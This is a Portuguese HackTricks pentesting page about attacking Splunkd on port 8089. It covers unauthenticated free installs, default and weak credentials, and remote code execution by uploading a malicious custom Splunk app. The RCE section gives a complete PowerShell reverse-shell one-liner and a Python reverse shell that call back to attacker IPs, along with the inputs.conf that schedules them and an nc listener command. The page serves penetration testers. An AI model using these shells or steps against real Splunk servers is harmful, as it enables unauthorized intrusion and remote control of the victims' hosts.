hacktricks/network-services-pentesting/8089-splunkd.md

8.8 KiB

8089 - Pentesting Splunkd

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Informações Básicas

Splunk é uma ferramenta de análise de logs que desempenha um papel crucial na coleta, análise e visualização de dados. Embora seu propósito inicial não fosse servir como uma ferramenta de SIEM (Security Information and Event Management), ganhou popularidade no âmbito do monitoramento de segurança e análise de negócios.

As implantações do Splunk são frequentemente utilizadas para armazenar dados sensíveis e podem servir como uma fonte valiosa de informações para possíveis atacantes se conseguirem comprometer o sistema. Porta padrão: 8089

PORT     STATE SERVICE VERSION
8089/tcp open  http    Splunkd httpd

{% hint style="info" %} O servidor web Splunk é executado por padrão na porta 8000. {% endhint %}

Enumeração

Versão Gratuita

O teste do Splunk Enterprise se converte em uma versão gratuita após 60 dias, a qual não requer autenticação. Não é incomum os administradores de sistema instalarem um teste do Splunk para testá-lo, o qual é posteriormente esquecido. Isso automaticamente converte para a versão gratuita que não possui nenhum tipo de autenticação, introduzindo uma vulnerabilidade no ambiente. Algumas organizações podem optar pela versão gratuita devido a restrições orçamentárias, sem compreender totalmente as implicações de não ter gerenciamento de usuário/papel.

Credenciais Padrão

Em versões mais antigas do Splunk, as credenciais padrão são admin:changeme, as quais são convenientemente exibidas na página de login.
No entanto, a versão mais recente do Splunk define credenciais durante o processo de instalação. Se as credenciais padrão não funcionarem, vale a pena verificar por senhas fracas comuns como admin, Welcome, Welcome1, Password123, etc.

Obter Informações

Depois de fazer login no Splunk, podemos navegar pelos dados, executar relatórios, criar painéis, instalar aplicativos da biblioteca Splunkbase e instalar aplicativos personalizados.
Você também pode executar código: o Splunk tem várias maneiras de executar código, como aplicativos Django do lado do servidor, pontos finais REST, entradas scriptadas e scripts de alerta. Um método comum de obter execução de código remoto em um servidor Splunk é através do uso de uma entrada scriptada.

Além disso, como o Splunk pode ser instalado em hosts Windows ou Linux, entradas scriptadas podem ser criadas para executar scripts Bash, PowerShell ou Batch.

Shodan

  • Construção do Splunk

RCE

Criar Aplicativo Personalizado

Um aplicativo personalizado pode executar scripts Python, Batch, Bash ou PowerShell.
Observe que o Splunk vem com Python instalado, então mesmo em sistemas Windows você poderá executar código Python.

Você pode usar este pacote Splunk para nos ajudar. O diretório bin neste repositório tem exemplos para Python e PowerShell. Vamos seguir isso passo a passo.

Para conseguir isso, primeiro precisamos criar um aplicativo Splunk personalizado usando a seguinte estrutura de diretório:

tree splunk_shell/

splunk_shell/
├── bin
└── default

O diretório bin conterá quaisquer scripts que pretendemos executar (neste caso, um shell reverso PowerShell), e o diretório padrão terá nosso arquivo inputs.conf. Nosso shell reverso será um PowerShell de uma linha:

$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(

O arquivo inputs.conf informa ao Splunk qual script executar e quaisquer outras condições. Aqui definimos o aplicativo como habilitado e dizemos ao Splunk para executar o script a cada 10 segundos. O intervalo é sempre em segundos, e a entrada (script) só será executada se essa configuração estiver presente.

cat inputs.conf

[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell

[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10

Precisamos do arquivo .bat, que será executado quando a aplicação for implantada e executará o comando PowerShell.

O próximo passo é escolher Instalar aplicativo a partir do arquivo e fazer o upload da aplicação.

Antes de fazer o upload do aplicativo personalizado malicioso, vamos iniciar um ouvinte usando Netcat ou socat.

sudo nc -lnvp 443

listening on [any] 443 ...

Na página Upload app, clique em procurar, escolha o tarball que criamos anteriormente e clique em Upload. Assim que fazemos o upload do aplicativo, um shell reverso é recebido e o status do aplicativo será automaticamente alterado para Enabled.

Linux

Se estivéssemos lidando com um host Linux, precisaríamos editar o script Python rev.py antes de criar o tarball e fazer o upload do aplicativo malicioso personalizado. O restante do processo seria o mesmo e obteríamos uma conexão de shell reverso em nosso ouvinte Netcat e estaríamos prontos para começar.

import sys,socket,os,pty

ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')

RCE & Escalada de Privilégios

Na página a seguir, você pode encontrar uma explicação de como este serviço pode ser abusado para escalar privilégios e obter persistência:

{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %} splunk-lpe-and-persistence.md {% endcontent-ref %}

Referências

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks: